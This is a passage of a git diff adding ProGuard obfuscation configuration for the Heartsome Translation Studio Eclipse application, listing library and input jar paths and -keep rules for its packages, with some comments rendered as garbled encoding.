"/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.jface_3.7.0.v20110928-1505.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.ltk.core.refactoring.nl_en_8.0.2.R8b_v20130906.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.ltk.core.refactoring.nl_zh_8.0.2.R8b_v20130906.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.ltk.core.refactoring_3.5.201.r372_v20111101-0700.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.nebula.widgets.tablecombo_8.0.0.R8b_v20121203.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.osgi.nl_en_8.0.1.R8b_v20130906.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.osgi.nl_zh_8.0.1.R8b_v20130906.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.osgi.services_3.3.0.v20110513.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.osgi_3.7.2.v20120110-1415.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.rcp_3.7.2.v201202080800.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.swt.cocoa.macosx.x86_64_3.102.0.v20130605-1544.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.swt.cocoa.macosx_3.102.0.v20130605-1544.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.swt.gtk.linux.x86_3.7.2.v3740f.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.swt.gtk.linux.x86_64_3.7.2.v3740f.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.swt.win32.win32.x86_3.7.2.v3740f.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.swt.win32.win32.x86_64_3.7.2.v3740f.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.swt_3.7.2.v3740f.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.text_3.5.101.v20110928-1504.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.ui.cocoa_1.1.0.I20101109-0800.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.ui.editors_3.7.0.v20110928-1504.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.ui.forms_3.5.101.v20111011-1919.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.ui.ide.nl_en_8.0.3.R8b_v20130906.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.ui.ide.nl_zh_8.0.3.R8b_v20130906.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.ui.ide_3.7.0.v20110928-1505.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.ui.navigator_3.5.101.v20120106-1355.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.ui.net.nl_zh_8.0.1.R8b_v20130906.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.ui.net_1.2.100.v20111208-1155.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.ui.nl_zh_8.0.1.R8b_v20131209.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.ui.views.properties.tabbed_3.5.200.v20110928-1505.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.ui.views_3.6.0.v20110928-1505.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.ui.workbench.nl_zh_8.0.2.R8b_v20130906.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.ui.workbench.texteditor_3.7.0.v20110928-1504.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.ui.workbench_3.7.1.v20120104-1859.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.ui_3.7.0.v20110928-1505.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.update.configurator_3.3.100.v20100512.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.mortbay.jetty.server_6.1.23.v201012071420.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.mortbay.jetty.util_6.1.23.v201012071420.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.sat4j.core_2.3.0.v20110329.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.sat4j.pb_2.3.0.v20110329.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.common.core_8.0.3.R8b_v20140102/lib/antlr-2.7.4.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.common.core_8.0.3.R8b_v20140102/lib/chardet-1.0.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.common.core_8.0.3.R8b_v20140102/lib/cpdetector_1.0.10.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.common.core_8.0.3.R8b_v20140102/lib/jargs-1.0.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.database.hsql_8.0.0.R8b_v20121205/lib/hsqldb.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.database.mssql_8.0.0.R8b_v20121203/lib/jtds-1.1.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.database.mysql_8.0.0.R8b_v20121203/lib/mysql-connector-java-5.1.10-bin.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.database.oracle_8.0.3.R8b_v20140106/lib/ojdbc14.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.database.postgreSQL_8.0.0.R8b_v20121106/lib/postgresql-8.4-701.jdbc4.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.database.sqlite_8.0.1.R8b_v20130502/lib/sqlite-jdbc-3.7.15-SNAPSHOT.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.te.core_8.0.0.R8b_v20140103/lib/dom4j-1.6.1.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.te.core_8.0.0.R8b_v20140103/lib/poi-3.9-20121203.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.te.core_8.0.0.R8b_v20140103/lib/poi-excelant-3.9-20121203.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.te.core_8.0.0.R8b_v20140103/lib/poi-ooxml-3.9-20121203.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.te.core_8.0.0.R8b_v20140103/lib/poi-ooxml-schemas-3.9-20121203.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.te.core_8.0.0.R8b_v20140103/lib/poi-scratchpad-3.9-20121203.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.te.core_8.0.0.R8b_v20140103/lib/saxon9he.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.te.core_8.0.0.R8b_v20140103/lib/stax-api-1.0.1.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.te.core_8.0.0.R8b_v20140103/lib/xercesImpl.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.te.core_8.0.0.R8b_v20140103/lib/xmlbeans-2.3.0.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.te.qa_8.0.2.R8b_v20131218/lib/bcprov-jdk14-136.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.te.qa_8.0.2.R8b_v20131218/lib/commons-codec-1.3.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.te.qa_8.0.2.R8b_v20131218/lib/commons-httpclient-3.0.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.te.qa_8.0.2.R8b_v20131218/lib/commons-logging-1.0.4.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.te.qa_8.0.2.R8b_v20131218/lib/jdom-1.0.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.te.qa_8.0.2.R8b_v20131218/lib/jug.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.te.qa_8.0.2.R8b_v20131218/lib/log4j-1.2.14.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.te.qa_8.0.2.R8b_v20131218/lib/wsdl4j-1.5.1.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.te.qa_8.0.2.R8b_v20131218/lib/xfire-all-1.2.6.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.te.tmxeditor_8.0.0.R8b_v20140103/lib/KTable.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.xml_8.0.1.R8b_v20130424/lib/dom4j-1.6.1.jar" + + -injars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.common.ui.shield.help_8.0.0.R8b_v20121112"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/te_pack/repository/plugins/tmpOb/net.heartsome.cat.common.ui.shield.help_8.0.0.R8b_v20121112" + -injars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.database.oracle_8.0.3.R8b_v20140106"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/te_pack/repository/plugins/tmpOb/net.heartsome.cat.database.oracle_8.0.3.R8b_v20140106" + -injars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.te.core_8.0.0.R8b_v20140103"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/te_pack/repository/plugins/tmpOb/net.heartsome.cat.te.core_8.0.0.R8b_v20140103" + -injars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.common.core_8.0.3.R8b_v20140102"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/te_pack/repository/plugins/tmpOb/net.heartsome.cat.common.core_8.0.3.R8b_v20140102" + -injars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.xml_8.0.1.R8b_v20130424"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/te_pack/repository/plugins/tmpOb/net.heartsome.xml_8.0.1.R8b_v20130424" + -injars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.common.ui.shield.resources_8.0.0.R8b_v20121112"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/te_pack/repository/plugins/tmpOb/net.heartsome.cat.common.ui.shield.resources_8.0.0.R8b_v20121112" + -injars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.database.mysql_8.0.0.R8b_v20121203"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/te_pack/repository/plugins/tmpOb/net.heartsome.cat.database.mysql_8.0.0.R8b_v20121203" + -injars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.database.postgreSQL_8.0.0.R8b_v20121106"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/te_pack/repository/plugins/tmpOb/net.heartsome.cat.database.postgreSQL_8.0.0.R8b_v20121106" + -injars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.common.ui.shield_8.0.0.R8b_v20121112"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/te_pack/repository/plugins/tmpOb/net.heartsome.cat.common.ui.shield_8.0.0.R8b_v20121112" + -injars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.database.hsql_8.0.0.R8b_v20121205"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/te_pack/repository/plugins/tmpOb/net.heartsome.cat.database.hsql_8.0.0.R8b_v20121205" + -injars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.common.ui.shield.workbench_8.0.0.R8b_v20121112"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/te_pack/repository/plugins/tmpOb/net.heartsome.cat.common.ui.shield.workbench_8.0.0.R8b_v20121112" + -injars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.database.mssql_8.0.0.R8b_v20121203"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/te_pack/repository/plugins/tmpOb/net.heartsome.cat.database.mssql_8.0.0.R8b_v20121203" + -injars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.database.ui_8.0.1.R8b_v20121220"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/te_pack/repository/plugins/tmpOb/net.heartsome.cat.database.ui_8.0.1.R8b_v20121220" + -injars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.p2update_8.0.1.R8b_v20121214"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/te_pack/repository/plugins/tmpOb/net.heartsome.cat.p2update_8.0.1.R8b_v20121214" + -injars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.te.qa_8.0.2.R8b_v20131218"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/te_pack/repository/plugins/tmpOb/net.heartsome.cat.te.qa_8.0.2.R8b_v20131218" + -injars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.te.ui.help_8.0.0.R8b_v20131210"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/te_pack/repository/plugins/tmpOb/net.heartsome.cat.te.ui.help_8.0.0.R8b_v20131210" + -injars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.database_8.0.3.R8b_v20140106"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/te_pack/repository/plugins/tmpOb/net.heartsome.cat.database_8.0.3.R8b_v20140106" + -injars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.te.ui_8.0.0.R8b_v20140103"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/te_pack/repository/plugins/tmpOb/net.heartsome.cat.te.ui_8.0.0.R8b_v20140103" + -injars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.te.tmxeditor_8.0.0.R8b_v20140103"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/te_pack/repository/plugins/tmpOb/net.heartsome.cat.te.tmxeditor_8.0.0.R8b_v20140103" + -injars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.common.ui_8.0.2.R8b_v20131225"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/te_pack/repository/plugins/tmpOb/net.heartsome.cat.common.ui_8.0.2.R8b_v20131225" + -injars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.te_8.0.0.R8b_v20140106"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/te_pack/repository/plugins/tmpOb/net.heartsome.cat.te_8.0.0.R8b_v20140106" + -injars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.database.sqlite_8.0.1.R8b_v20130502"(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + -outjars "/Users/Mac/Desktop/te_pack/repository/plugins/tmpOb/net.heartsome.cat.database.sqlite_8.0.1.R8b_v20130502" diff --git a/tools/obclipse/build/obfuscationConfig_1.pro b/tools/obclipse/build/obfuscationConfig_1.pro new file mode 100644 index 0000000..c526141 --- /dev/null +++ b/tools/obclipse/build/obfuscationConfig_1.pro @@ -0,0 +1,644 @@ + -libraryjars "/System/Library/Java/JavaVirtualMachines/1.6.0.jdk/Contents/Home/lib/rt.jar" + -printmapping "/Users/Mac/r8PackGit/translation-studio/tools/obclipse/build/obfuscate.map" + -applymapping "/Users/Mac/r8PackGit/translation-studio/tools/obclipse/config/hsts8/obfuscate_v8.2.5.map" +-dontshrink +-dontoptimize +-defaultpackage obClasses +-allowaccessmodification +-useuniqueclassmembernames +-dontusemixedcaseclassnames +-keeppackagenames + +# Keep names - Native method names. Keep all native class/method names. +-keepclasseswithmembers,allowshrinking class * { + native <methods>; +} + +-keep public interface * extends com.sun.jna.Library {*;} + +-keep class **.Messages +-keep class org.eclipse.ui.internal.navigator.resources.resource.WorkbenchNavigatorMessages { + public <fields>; +} + +# ??¨ä??å­???¾å??ä¸????件ç??导å?ºå?????ç±»å??ï¼?public?????¹æ??????????? ################################################ +################################################################################################# +## net.heartsome.cat.common.core +-keep class net.heartsome.cat.common.bean.*, net.heartsome.cat.common.core.*, +net.heartsome.cat.common.core.exception.*, net.heartsome.cat.common.file.*, +net.heartsome.cat.common.innertag.*, net.heartsome.cat.common.innertag.factory.*, +net.heartsome.cat.common.locale.*, net.heartsome.cat.common.operator.*, +net.heartsome.cat.common.resources.*, net.heartsome.cat.common.tm.*, +net.heartsome.cat.common.util.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.common.ui +-keep class net.heartsome.cat.common.ui.*, net.heartsome.cat.common.ui.dialog.*, +net.heartsome.cat.common.ui.handlers.*, net.heartsome.cat.common.ui.innertag.*, +net.heartsome.cat.common.ui.listener.*, net.heartsome.cat.common.ui.utils.*, +net.heartsome.cat.common.ui.wizard.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.common.ui.navigator.resources +-keep class org.eclipse.ui.internal.navigator.resources.*, org.eclipse.ui.internal.navigator.resources.actions.*, +org.eclipse.ui.internal.navigator.resources.plugin.*, org.eclipse.ui.internal.navigator.resources.workbench.*, +org.eclipse.ui.internal.navigator.workingsets.*, org.eclipse.ui.navigator.resources.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.ts.help +-keep class net.heartsome.cat.ts.help.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.xml +-keep class net.heartsome.xml.vtdimpl.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.convert.ui.example +-keep class net.heartsome.cat.convert.ui.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.converter +-keep class net.heartsome.cat.converter.*, net.heartsome.cat.converter.util.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.converter.msoffice2007 +-keep class net.heartsome.cat.converter.msoffice2007.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.converter.openoffice +-keep class net.heartsome.cat.converter.openoffice.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.converter.rtf +-keep class net.heartsome.cat.converter.rtf.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.converter.ui +-keep class net.heartsome.cat.convert.extenstion.*, net.heartsome.cat.convert.ui.command.*, +net.heartsome.cat.convert.ui.model.*, net.heartsome.cat.convert.ui.utils.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.converter.word2007 +-keep class net.heartsome.cat.converter.word2007.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.converter.xml +-keep class net.heartsome.cat.converter.xml.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.database +-keep class net.heartsome.cat.database.*, net.heartsome.cat.database.bean.*, +net.heartsome.cat.database.service.*, net.heartsome.cat.database.tmx.*, +net.heartsome.cat.document.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.database.ui +-keep class net.heartsome.cat.database.ui.bean.*, net.heartsome.cat.database.ui.core.*, +net.heartsome.cat.database.ui.dialog.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.database.ui.tb +-keep class net.heartsome.cat.database.ui.tb.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.database.ui.tm +-keep class net.heartsome.cat.database.ui.tm.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.p2update +-keep class net.heartsome.cat.p2update.autoupdate.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.ts +-keep class net.heartsome.cat.ts.util.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.ts.core +-keep class net.heartsome.cat.ts.core.*,net.heartsome.cat.ts.core.bean.*, +net.heartsome.cat.ts.core.file.*, net.heartsome.cat.ts.core.qa.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.ts.tb +-keep class net.heartsome.cat.ts.tb.importer.*, net.heartsome.cat.ts.tb.importer.extension.*, +net.heartsome.cat.ts.tb.match.*, net.heartsome.cat.ts.tb.match.extension.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.ts.tm +-keep class net.heartsome.cat.ts.tm.bean.*, net.heartsome.cat.ts.tm.complexMatch.*, +net.heartsome.cat.ts.tm.importer.*, net.heartsome.cat.ts.tm.importer.extension.*, +net.heartsome.cat.ts.tm.match.*, net.heartsome.cat.ts.tm.match.extension.*, +net.heartsome.cat.ts.tm.simpleMatch.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.ts.ui +-keep class de.jaret.util.misc.*, net.heartsome.cat.ts.ui.*, +net.heartsome.cat.ts.ui.bean.*, net.heartsome.cat.ts.ui.composite.*, +net.heartsome.cat.ts.ui.dialog.*, net.heartsome.cat.ts.ui.editors.*, +net.heartsome.cat.ts.ui.extensionpoint.*, net.heartsome.cat.ts.ui.grid.*, +net.heartsome.cat.ts.ui.innertag.*, net.heartsome.cat.ts.ui.innertag.tagstyle.*, +net.heartsome.cat.ts.ui.jaret.renderer.*, net.heartsome.cat.ts.ui.preferencepage.*, +net.heartsome.cat.ts.ui.preferencepage.colors.*, net.heartsome.cat.ts.ui.preferencepage.dictionaries.*, +net.heartsome.cat.ts.ui.preferencepage.languagecode.*, net.heartsome.cat.ts.ui.preferencepage.translation.*, +net.heartsome.cat.ts.ui.resource.*, net.heartsome.cat.ts.ui.tagstyle.*, +net.heartsome.cat.ts.ui.util.*, net.heartsome.cat.ts.ui.view.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.ts.ui.plugin +-keep class net.heartsome.cat.ts.ui.plugin.*, net.heartsome.cat.ts.ui.plugin.bean.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.ts.ui.qa +-keep class net.heartsome.cat.ts.ui.qa.*, net.heartsome.cat.ts.ui.qa.fileAnalysis.*, +net.heartsome.cat.ts.ui.qa.preference.*, net.heartsome.cat.ts.ui.qa.views.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.ts.ui.term +-keep class net.heartsome.cat.ts.ui.term.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.ts.ui.translation +-keep class net.heartsome.cat.ts.ui.translation.*, net.heartsome.cat.ts.ui.translation.bean.*, +net.heartsome.cat.ts.ui.translation.view.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.ts.ui.xliffeditor.nattable +-keep class net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.*, net.heartsome.cat.ts.ui.xliffeditor.nattable.propertyTester.*, +net.heartsome.cat.ts.ui.xliffeditor.nattable.qa.*, net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.* +{ + public <fields>; + public <methods>; +} + +################################################################################################# +########################################################################################## + + + + +##############å¦??????????å¹³å?°ä½¿??¨ç??ä¸????hudson?????????å¹³å?°ï????£ä??使ç??eclipse export???è¦?æ·»å??#################### +#-keep public class * implements org.osgi.framework.BundleActivator {*;} +#-keep class net.heartsome.cat.ts.Application +########################################################################################### + +-keep class net.heartsome.cat.ts.ui.qa.TermConsistenceQA +-keep class net.heartsome.cat.ts.ui.qa.ParagraphConsistenceQA +-keep class net.heartsome.cat.ts.ui.qa.NumberConsistenceQA +-keep class net.heartsome.cat.ts.ui.qa.TagConsistenceQA +-keep class net.heartsome.cat.ts.ui.qa.NonTranslationQA +-keep class net.heartsome.cat.ts.ui.qa.SpaceOfParaCheckQA +-keep class net.heartsome.cat.ts.ui.qa.ParaCompletenessQA +-keep class net.heartsome.cat.ts.ui.qa.TgtTextLengthLimitQA +-keep class net.heartsome.cat.ts.ui.qa.SpellQA +-keep class net.heartsome.cat.ts.ui.qa.fileAnalysis.* + +-dontnote + +-keep class net.heartsome.license.webservice.IService { + public <methods>; +} + +-keep public class * implements java.beans.PropertyChangeListener {*;} +-keep public class * extends net.heartsome.cat.converter.util.AbstractModelObject {*;} +-keep public class * extends de.jaret.util.misc.PropertyObservableBase {*;} + +#######################è½????ä¸?xliff???件ç??对è??æ¡???????段è???????????æµ?è§??????????###################### +-keep class net.heartsome.cat.convert.ui.dialog.FileDialogFactoryFacade +-keep class net.heartsome.cat.convert.ui.dialog.FileDialogFactoryFacadeImpl +################################################################################# + +####################导å?ºä¸ºrtf###################################### +-keep class net.heartsome.cat.ts.ui.rtf.exporter.Export {*;} +################################################################# + +# VTD ??¹ä¸º??´æ?¥å????¨æ?????ï¼?ä¸???¾ç¤º??¸å?³è????????ä¹?ä¸?è¦?æ··æ????¸å?³ä»£??? +-dontwarn com.ximpleware.** +-dontwarn java_cup.* +-keep class com.ximpleware.** { *;} +-keep class java_cup.** { *;} + -libraryjars "/Users/Mac/r8PackGit/translation-studio/tools/obclipse/resources/obfuscate/annotations.jar" + -include "/Users/Mac/r8PackGit/translation-studio/tools/obclipse/resources/obfuscate/annotations.pro" + -libraryjars "/System/Library/Java/JavaVirtualMachines/1.6.0.jdk/Contents/Home/lib/jce.jar" + -libraryjars "/Users/Mac/r8PackGit/translation-studio/tools/obclipse/resources/hsts8/log4j-1.2.15.jar" + -libraryjars "/Users/Mac/r8PackGit/translation-studio/tools/obclipse/resources/hsts8/slf4j-api-1.5.8.jar" + -libraryjars "/Users/Mac/r8PackGit/translation-studio/tools/obclipse/resources/hsts8/slf4j-log4j12-1.5.8.jar" + -libraryjars "/Users/Mac/r8PackGit/translation-studio/tools/obclipse/resources/hsts8/junit.jar" + -libraryjars "/Users/Mac/r8PackGit/translation-studio/tools/obclipse/resources/hsts8/hslibrary3.jar" + -libraryjars "/Users/Mac/r8PackGit/translation-studio/tools/obclipse/resources/hsts8/xercesImpl.jar" + -libraryjars "/Users/Mac/r8PackGit/translation-studio/tools/obclipse/resources/hsts8/resolver.jar" + + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/com.ibm.icu_4.4.2.v20110823.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/de.jaret.util.ui.table_0.85.0.R8b_v20121203.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/heartsome.java.tools.plugin_8.0.0.R8b_v20121025.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/javax.servlet.jsp_2.0.0.v201101211617.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/javax.servlet_2.5.0.v201103041518.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.cat.thirdpartlibrary_8.1.0.R8b_v20131111.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.heartsome.library3_3.0.1.R8b_v20130408.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/net.sourceforge.nattable.core_8.0.1.R8b_v20130827.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.apache.commons.codec_1.3.0.v201101211617.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.apache.commons.el_1.0.0.v201101211617.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.apache.commons.httpclient_3.1.0.v201012070820.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.apache.commons.lang_2.4.0.v201005080502.jar" + -libraryjars "/Users/Mac/Desktop/r8_pack/1121U/repository/plugins/org.apache.commons.logging_1.0.4.v201101211617.jar" + -libraryjars 